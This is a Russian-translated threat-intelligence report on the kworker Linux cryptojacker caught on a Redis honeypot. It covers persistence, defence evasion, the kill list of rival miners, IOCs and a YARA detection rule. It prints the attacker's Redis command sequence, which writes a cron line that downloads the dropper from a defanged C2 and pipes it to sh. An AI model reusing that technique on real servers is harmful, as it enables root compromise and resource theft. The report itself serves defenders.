Эта страница является переводом. Авторитетным считается текст английской версии. Читать на английском
malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker: криптомайнер, который приносит с собой деинсталлятор
Kinryū Labs зафиксировала, как криптоджекер линейки 8220 превратил открытый Redis-порт без пароля в root-шелл примерно за пять секунд. Дроппер, шелл-скрипт из 636 строк под именем kworker, удаляет агенты облачной безопасности Alibaba и Tencent штатными средствами самих вендоров, тратит 200 строк на уничтожение конкурирующих майнеров, ставит бэкдор в SSH, прячет майнер Monero XMRig за подменёнными ps, top и pstree и пытается распространяться дальше.
Автор Davis Zheng·
TLP:CLEAR. Разрешено к публичному распространению. Получено сенсорной сетью ханипотов Kinryū Labs. Индикаторы ниже приведены в обезвреженном виде.
Краткая сводка
- ~5 сот открытого Redis-порта до четырёх root-бэкдоров в cron
- 636строк bash, полноценный набор для захвата хоста
- 2деинсталлятора вендоров, встроенных внутри в base64
- 80+конкурирующих майнеров в списке на уничтожение
В шесть минут первого по UTC кто-то открыл соединение с Redis-портом на одном из наших ханипотов, выполнил единственную команду INFO, чтобы понять, с чем имеет дело, и отключился. Через две секунды он вернулся и взялся за работу. К моменту отключения, спустя пять секунд в общей сложности, он переписал таблицу cron сервера четырьмя разными способами и в каждом случае указал на один и тот же файл: шелл-скрипт под именем kworker.
Мы не дали ему запуститься. Скрипт так и не был выполнен; у нас на руках сам скрипт и последовательность команд атакующего. Таким образом, в нашем распоряжении полный текст скрипта, все 636 строк, и полная последовательность команд атакующего. Вместе они дают чистый срез того, к чему пришёл массовый Linux-криптоджекинг в 2026 году, и kworker здесь хороший образец, потому что он делает почти всё, что этот жанр когда-либо изобрёл. Есть и одна вещь, которую он проделывает с абсолютно невозмутимым видом: он удаляет ваш антивирус штатным деинсталлятором самого вендора.
- Массовый криптоджекинг линейки 8220 Gang / kworkerds, оппортунистический и нецелевой (средняя уверенность). Доставка через Redis, переименованные средства загрузки, файл-блокировка
/etc/javaeи огромный список на уничтожение: всё это характерные признаки семейства. Мы останавливаемся на средней уверенности и не выше, поскольку это широко форкаемый код, который группировки передают друг другу и перепродают, так что имя указывает на линейку, а не на конкретного автора. - Цель: майнинг Monero (высокая уверенность). Всё назначение скрипта сводится к тому, чтобы скачать и запустить
javae, сборку XMRig, предварительно включив для неё huge pages. Всё остальное существует, чтобы расчистить поле и удержать хост. - Зрелое, давно используемое ПО, а не чей-то проект выходного дня (высокая уверенность). Строки cron, прописанные при взломе, вызывают
cd1иwd1, инструменты, которые появляются только после установки kworker. Набор уже исходит из собственного присутствия, а это признак кода, давно находящегося в обращении. - Отсутствие кошелька умышленно (высокая уверенность). В скрипте нет ни адреса Monero, ни пула; и то и другое находится в бинарнике майнера, который мы не получили. Единственная деталь, которая связала бы кампании этой группировки воедино, оказывается ровно той, которую они держат вне скрипта; в ту же стену мы упёрлись в разборе RedTail.
FLUSHALL, затем четыре пути в cron
Redis, открытый в интернет без пароля, уже много лет остаётся root-шеллом в одну строку, и здесь применена та самая проверенная техника. Задать ключ в базе, значением которого является задание cron. Указать Redis сохранить базу в каталог cron. Вызвать SAVE. Redis записывает базу на диск вместе с вашим поддельным заданием, и через минуту cron выполняет его от root. Наш гость снял отпечаток сервера, проверил возможность записи файла, отключил защиту, которая останавливает работу при неудачном сохранении, и провернул этот приём.
# what the visitor sent to Redis (abbreviated, defanged)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
Всё вторжение укладывается в несколько секунд:
- 00:06:00 UTCПодключение, отправка единственной команды
INFOдля снятия отпечатка сервера, отключение. - +2 секундыПовторное подключение. Задаются четыре ключа, каждый содержит строку cron.
CONFIG SET dirна каталог cron,CONFIG SET dbfilenameна целевой файл cron, отключение stop-writes-on-bgsave-error, затемSAVE. - +5 секунд в суммеОтключение. Установлены четыре бэкдора в cron, все указывают на `kworker`.
- +1 минутаНа реальном хосте cron выполняет подставленную строку от root и загружает
kworker.
Внимания заслуживает избыточность. Он записал не одно задание cron; он записал одну и ту же инструкцию в четыре места: /var/spool/cron/root, /var/spool/cron/crontabs, /etc/cron.d/javae и /etc/crontab, покрыв и раскладку Red Hat, и раскладку Debian, и оба синтаксиса cron. Каждая строка загружала kworker своим инструментом (cd1, wget, curl, wd1) по разнесённому расписанию в две, три, четыре и пять минут. Два из этих имён не являются реальными программами. В cd1 и wd1 kworker переименовывает curl и wget после установки. Взлом уже исходит из наличия скрипта, который только собирается скачать. Весь набор внутренне согласован, и именно по этому видно, что перед нами зрелое, давно используемое ПО, а не чей-то проект выходного дня.
Приходите со своим деинсталлятором
Как только у него появляется root, kworker начинает разбирать здание по частям. Сбрасываются правила межсетевого экрана, отключается ufw, SELinux переводится в permissive, а затем отключается в конфиге, останавливается AppArmor, выключается ядерный NMI watchdog, что существенно, поскольку майнер держит процессор на ста процентах неделями, а watchdog относится к тому немногому, что могло бы это заметить. /var/log/syslog удаляется полностью.
Затем он принимается искать агенты облачной безопасности, и вот здесь скрипт перестаёт быть обычным. Крупные китайские облачные провайдеры поставляют на своих виртуальных машинах хостовый агент: Aegis от Alibaba, который в процессах виден как AliYunDun; YunJing от Tencent; HostGuard от Huawei. kworker проверяет каждый. Обнаружив агент Alibaba, он не просто убивает процесс. Он запускает официальный деинсталлятор Alibaba, а чтобы это сработало даже на машине без связи с Alibaba, он несёт внутри себя два скрипта удаления Alibaba, закодированных в base64. Мы декодировали оба. Это подлинники, вплоть до разборки трассировки kprobe.
Он аккуратно удаляет вашу защиту конечной точки так, как это задумывал вендор, и оставляет логи в порядке.
Это не импровизация. Кто-то сел за настоящую машину Aliyun, снял деинсталляторы и встроил их внутрь.
Передел территории, записанный на bash
Если вы никогда не читали подобных скриптов, вас удивит, какая их часть направлена против других преступников. Настоящим врагом майнера оказывается следующий майнер, пытающийся арендовать тот же процессор, а не системный администратор. kworker тратит примерно двести строк на охоту за конкурентами и убивает их по любому признаку, который удаётся ухватить.
- По имени процесса, по списку блокировки более чем из сотни позиций:
xmrig,kinsing,kdevtmpfsi, семействаwatchdogsиwatchbog,ddg,sustesи более старыйkworkerds, от которого происходит его собственное имя. - По порту: тем, на которых сидят майнинговые пулы и IRC-боты.
- По жёстко заданному IP-адресу.
- По загрузке CPU, грубым инструментом: всё, что потребляет более 40 процентов процессора под нераспознанным именем, уничтожается по логике, что неизвестный процесс, съедающий CPU, по определению является конкурирующим майнером.
Он удаляет их файлы из /tmp и /dev/shm, вычищает их задания cron, убирает preload-руткиты, которые некоторые из них устанавливают, и добирается до Docker, чтобы остановить и удалить известные майнинговые образы. Это тот же захват территории, который мы описывали в скрипте clean у RedTail и в killservice.sh у Rootpacket; все эти группировки дерутся за одни и те же неправильно настроенные машины и все начинают с зачистки поля.
Кроме того, он адресно и многократно хамит TeamTNT, отменяя переименование curl и wget, которое делает TeamTNT, и стирая её каталоги. Уничтожая Kinsing, он перезаписывает файл словом fuckyou и блокирует его, чтобы Kinsing не смог вернуться. Никакой чести здесь нет, только передел территории, и kworker ведёт его жёстче большинства.
Если вчитаться в список, он превращается в каталог того, как прячутся конкуренты. Одна группа целей маскируется под потоки ядра: kacpi_svc, kswap_svc, kthreadd_svc, ksoftirqd_svc; другая под системные демоны: polkitd, acpid, dbus-daemon--system и systemctI с заглавной I на месте строчной L. kworker охотится ровно за теми маскировками, которые носят его конкуренты, и это те же маскировки, к которым он сам прибегает несколькими строками ниже, пряча javae среди имён вроде systemd-network и irqbalanced. Все участники этой драки одеты как скучный системный шум, и все выучили костюмы друг друга наизусть.
Несколько целей вообще не являются именами. Одна из них, L2Jpbi9iYXN, представляет собой начало base64-кодировки команды /bin/bash. kworker ищет в таблице процессов этот закодированный префикс, вылавливая загрузчик конкурента по base64-блобу в его командной строке.
Список в целом длинный, более сотни способов назвать процесс, который вы хотите уничтожить, и его стоит один раз просмотреть хотя бы ради фактуры этой вражды:
Полный список на уничтожение, извлечённый из перехваченного скрипта
Взято из kill_miner_proc, kill_sus_proc и блока зачистки Docker. Всё перечисленное относится к целям, за которыми охотится kworker, а не к его собственной инфраструктуре. IP-адреса обезврежены.
Порты, на которых он убивает любой процесс (майнинговые пулы, IRC-боты, RAT, альтернативные SSH и Telnet): 23, 143, 2222, 3333, 3347, 3389, 5555, 6665, 6666, 6667, 7777, 8444, 10008, 13531.
Узнаваемые семейства майнеров и ботнетов: xmrig, xmrig-cpu, xmrig-notls, xmr-stak, mstxmr, cnrig, minerd, minergate, cryptonight, crypto-pool, moneroocean, kinsing, kdevtmpfsi, kworkerds, kworker34, watchdogs, watchd0g, watchbog, ddg, ddg.2011, sustes, sustse, sustse3, kthrotlds, ksoftirqds, tntrecht (TeamTNT), nanoWatch, sourplum, disk_genius, biosetjenkins, nullcrew.
Конкуренты, маскирующиеся под потоки ядра: kacpi_svc, kswap_svc, kauditd_svc, kpsmoused_svc, kseriod_svc, kthreadd_svc, ksoftirqd_svc, kintegrityd_svc, kblockd_svc, native_svc.
Конкуренты, маскирующиеся под системные демоны: polkitd, acpid, dbus-daemon--system, irqbalance, irqbalanc1, crond64, nginxk, vmlinuz, systemctI (заглавная i, а не systemctl), systemten, systemxlv, svcupdate, netdns, netns, redis2, rsync, httpgd, haveged, voltuned, nqscheduler.
Прочие именованные нагрузки, скрипты и маркеры отдельных кампаний: apaceha, apachiii, mixnerdx, mixtape, performedl, conns, mgwsl, pythno, jweri, lx26, i586, gddr, askdljlqw, ysaydh, bonns, donns, kxjd, nopxi, deamon, zigw, devtool, devtools, suppoie, exin, xr, jawa, ynn, servim, darwin, sysstats, Loopback, XJnRj, NXLAi, BI5zj, icb5o, wnTKYg, 2t3ik, qW3xT.2, hahwNEdB, CnzFVPLF, CvKzzZLs, OIcJi1m, IOFoqIgyC0zmf2UR, 65ccEJ7, jmxx, 2Ne80nA, C4iLM4L, Guard.sh, Duck.sh, bonn.sh, conn.sh, kw.sh, pro.sh, mr.sh, 2mr.sh, cr5.sh, he.sh, miner.sh, l.sh, z3.sh, lower.sh, ndt.sh, logo9.jpg, oracle.jpg, init10.cfg, init12.cfg, j2.conf, zer0day.ru, gitee.com.
Обфусцированные загрузчики и сбрасываемые конфиги: ./ppp, ./vsp, ./jvs, ./pvv, ./vpp, ./pces, ./rspce, ./jiba, ./haveged, ./watchbog, ./servceaess и его варианты с опечатками, mwyumwdbpq.conf, honvbsasbf.conf, mqdsflm.cf, /wl.conf, wc.confz, плюс маркер base64-загрузчика L2Jpbi9iYXN (начало однострочника /bin/bas...).
IP-адреса пулов и C2 конкурентов, по которым он бьёт без разбора: 45.76.122[.]92, 51.38.191[.]178, 51.15.56[.]161, 104.248.4[.]162, 89.35.39[.]78, 107.174.47[.]156, 107.174.47[.]181, 83.220.169[.]247, 51.38.203[.]146, 144.217.45[.]45, 176.31.6[.]16, 46.243.253[.]15, 200.68.17[.]196, 188.209.49[.]54, 181.214.87[.]241, 121.42.151[.]137.
Образы и контейнеры Docker, которые он останавливает и удаляет: контейнеры с именами pocosow, gakeaws, azulu, auto, xmr, mine, slowhttp, bash.shell; ссылки на образы pocosow, gakeaws, buster-slim, hello-, azulu, registry, xmr, monero, mine, slowhttp.
И грубый инструмент: уничтожается всё, что потребляет более 40 процентов CPU и не соответствует javae, а также всё, что потребляет более 10 процентов и чьё имя выглядит как поток ядра в квадратных скобках, всё, что запущено из /tmp, и любой процесс с подозрительно длинным именем.
Теперь вы его не видите
Расчистив поле, он прячет собственного игрока. Он подменяет ps, top и pstree двустрочными обёртками, которые вызывают настоящие бинарники и незаметно отфильтровывают любую строку, где упоминается майнер (javae) или поставляемый вместе с ним сканер (pnscan), после чего задним числом выставляет подделкам 2016 год, чтобы они не выглядели новыми. Запустите ps на заражённой машине, и майнера в списке просто не будет.
Майнер и так назван так, чтобы раствориться в таблице процессов: javae соседствует с файлами-блокировками, размещёнными под именами вроде systemd-network, irqbalanced и kswaped, каждое из которых подобрано так, чтобы читаться как скучный системный шум.
Ключ и путь к соседям
Захват завершают ещё два действия.
Он записывает открытый SSH-ключ оператора, комментарий к которому содержит просто uc1, в authorized_keys пользователя root и делает файл неизменяемым, так что заметить его недостаточно; прежде чем его вообще удастся удалить, нужно снять атрибут неизменяемости. Это интерактивный доступ, который переживает зачистку самого майнера.
Затем он пытается распространиться. Он читает known_hosts пользователя root, список всех машин, на которые эта машина заходила, и пробует подключиться по SSH к каждой из них, используя ключи, уже лежащие на диске, и выполняет на всём, что его пускает, однострочник, который тянет kworker с резервного адреса и запускает всю историю заново. Это не быстрый червь, и он рассчитывает на оставленные без пароля ключи, но в парках машин, где их обычно и оставляют, этого достаточно.
Майнер и кошелёк, который нам не достался
При всей этой машинерии собственно зарабатывающая часть скучна: второй файл, javae, сборка XMRig, которая майнит Monero. kworker включает huge pages (vm.nr_hugepages выставляется в 128, стандартное ускорение для XMRig), кладёт javae в /etc и запускает его.
Здесь пробел в этом отчёте. У нас нет ни javae, ни кошелька. В скрипте нет ни адреса Monero, ни пула; они зашиты в бинарник майнера, который загружается во время выполнения, а C2 не отдал его ни одной из публичных песочниц, изучавших этот образец, так что пассивно разбирать нечего. Любой, кто анализирует kworker сам по себе, упирается в ту же стену. Кошелёк остаётся единственным, что связало бы кампании этой группировки воедино, и именно его они держат вне скрипта.
Размещено на Cloudflare, и это не случайность
И скрипт, и майнер приходят с download.logltech[.]workers[.]dev, адреса Cloudflare Workers, и это осознанный выбор. Workers бесплатен, по умолчанию работает по HTTPS, заимствует репутацию Cloudflare и потому проходит мимо списков блокировки доменов, а также скрывает тот origin, которым оператор реально управляет. Все URL с полезной нагрузкой резолвятся в Cloudflare; настоящий origin оператора нигде не раскрывается.
Резервным каналом червя служит tutorial.clashverge[.]space, зарегистрированный в конце февраля. Все остальные IP-адреса, жёстко заданные в скрипте, принадлежат конкурентам, которых он хочет уничтожить, и разбросаны по машинам Vultr, OVH и DigitalOcean плюс один хост Alibaba Cloud в Ханчжоу, а вовсе не этому оператору. Жёстко заданные IP следует читать как список целей, а не как инфраструктуру.
Чьё это?
Тогда аккуратно. Это массовый криптоджекинг линейки, которую обычно относят к 8220 Gang, или kworkerds. Все признаки на месте: доставка через инъекцию в cron через Redis, переименование curl в cd1, файл-блокировка /etc/javae, распространитель pnscan, огромный список на уничтожение. Антивирусные движки не могут сойтись на одном имени, и в этом как раз суть. ClamAV называет его Rocke, Rising помечает как TeamTNT, остальные просто пишут CoinMiner. Эти скрипты копируются, сливаются и перепродаются среди полудюжины группировок, и kworker уничтожает несколько семейств, с которыми сам состоит в родстве.
Относитесь к семейству как к району, а не как к отпечатку пальца.
Внимание к китайским облачным агентам и родственный образец на Windows PowerShell, который VirusTotal связывает с тем же семплом, дополняют картину, но безопасная формулировка остаётся скромной. Широко форкаемое, финансово мотивированное, нецелевое и не новое. Средняя уверенность, и это комфортный уровень.
Индикаторы компрометации
Сетевые
| Индикатор | Контекст |
|---|---|
download.logltech[.]workers[.]dev | C2 (основной), Cloudflare Workers. Отдаёт /up/down/api/{kworker, javae, cb.txt} |
tutorial.clashverge[.]space | C2 (резервный), используется червём. Зарегистрирован 27 Feb 2026 |
170.9.225[.]197 | IP-адрес источника, обратившегося к Redis-ханипоту |
Хост *.workers.dev + GET по пути /up/down/api/ | Шаблон загрузки полезной нагрузки, заслуживающий пристального внимания в трафике |
Файлы (SHA-256 / MD5)
| Файл | SHA-256 | MD5 |
|---|---|---|
kworker (дроппер) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae (майнер XMRig) | не получен, ожидаемый размер 5,685,096 байт |
Ключ SSH-бэкдора: комментарий uc1, отпечаток открытого ключа SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. Ищите его в authorized_keys по всему парку машин.
Артефакты на хосте
| Путь | Контекст |
|---|---|
/etc/kworker, /etc/javae, /etc/cron.d/javae, /tmp/{kworker,javae} | Сброшенные файлы |
/usr/bin/cd1 (был curl), /usr/bin/wd1 (был wget) | Переименованные средства загрузки |
/bin/ps.original, /bin/top.original, /bin/pstree.original | Настоящие бинарники, сохранённые за троянизированными обёртками |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | Неизменяемые файлы-блокировки имён размером в несколько байт (однозначный размер в байтах) |
vm.nr_hugepages = 128 | Huge pages включены для XMRig |
Поведенческие
ps,topилиpstree, которые на деле являются шелл-скриптом с прогоном черезgrep -v.authorized_keys, который вы не создавали, заканчивающийся комментариемuc1.- Задания cron, запускающие
sh /etc/kworkerилиsh /tmp/kworker, и файл/etc/cron.d/javae, которого быть не должно. - Неизменяемые файлы размером в несколько байт (однозначный размер в байтах) в
/usr/bin/kswapedи ему подобных. curlиwget, переименованные вcd1иwd1.vm.nr_hugepages, незаметно выставленный в 128.
Обнаружение
Признаки на стороне хоста громкие, если знать, что искать, и они перечислены выше. В трафике всё, что резолвит хост *.workers.dev и запрашивает пути под /up/down/api/, заслуживает пристального внимания. Ниже правило YARA, срабатывающее на устойчивых строках. Оно намеренно содержит живые строки, для целей обнаружения.
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
Что это должно изменить
Ничего изощрённого здесь нет, и в этом урок. kworker попал внутрь, потому что Redis-порт был открыт без пароля, ошибка 2018 года, которая всё ещё окупается в 2026-м. Всё последующее, удаление EDR, руткит и червь, имело значение только потому, что входная дверь была не заперта.
- Не выставляйте Redis, как и любое хранилище данных, в интернет, и требуйте аутентификацию. Рассматривайте один открытый сервис как компрометацию всего хоста, а не отдельного сервиса.
- Следите за cron и
authorized_keysкак за продакшен-кодом, потому что для атакующего это ровно он и есть. - Не считайте облачный агент на машине страховочной сеткой. Первым побуждением kworker было подойти и вежливо удалить его штатными средствами самого вендора.
Сопоставление с MITRE ATT&CK
| Тактика | Техника |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Redis) |
| Execution | T1059.004 Unix Shell |
| Persistence | T1053.003 Cron; T1098.004 SSH Authorized Keys |
| Defense Evasion | T1562.001 Impair Defenses: Disable or Modify Tools (удаление облачного агента и EDR); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (троянизированные ps/top/pstree); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (подделки с датой задним числом) |
| Discovery | T1057 Process Discovery (охота на конкурентов); T1518.001 Security Software Discovery (облачные агенты); T1046 Network Service Scanning (pnscan) |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (майнинг Monero) |
Методология и заметки аналитика
- Анализ был статическим и пассивным. Дроппер ни разу не запускался, и обращений к инфраструктуре атакующего не производилось. Выводы основаны на полном прочтении перехваченного скрипта из 636 строк, декодировании встроенных base64-деинсталляторов и разборе записанной сессии Redis.
- Индикаторы выше обезврежены. Правило YARA намеренно содержит живые строки, для целей обнаружения.
- У нас нет ни майнера второй стадии (
javae), ни кошелька Monero. Скрипт не содержит ни того, ни другого; и то и другое находится в бинарнике майнера, который загружается во время выполнения и который C2 не отдал публичным песочницам. Восстановление кошелька потребовало бы живого запуска с перехватом сетевого трафика, чего мы не делали. - Образцы (дроппер и декодированные деинсталляторы) доступны другим исследователям и защитникам по запросу. Пишите на contact@kinryu.sh, коротко указав, кто вы и для чего они вам нужны.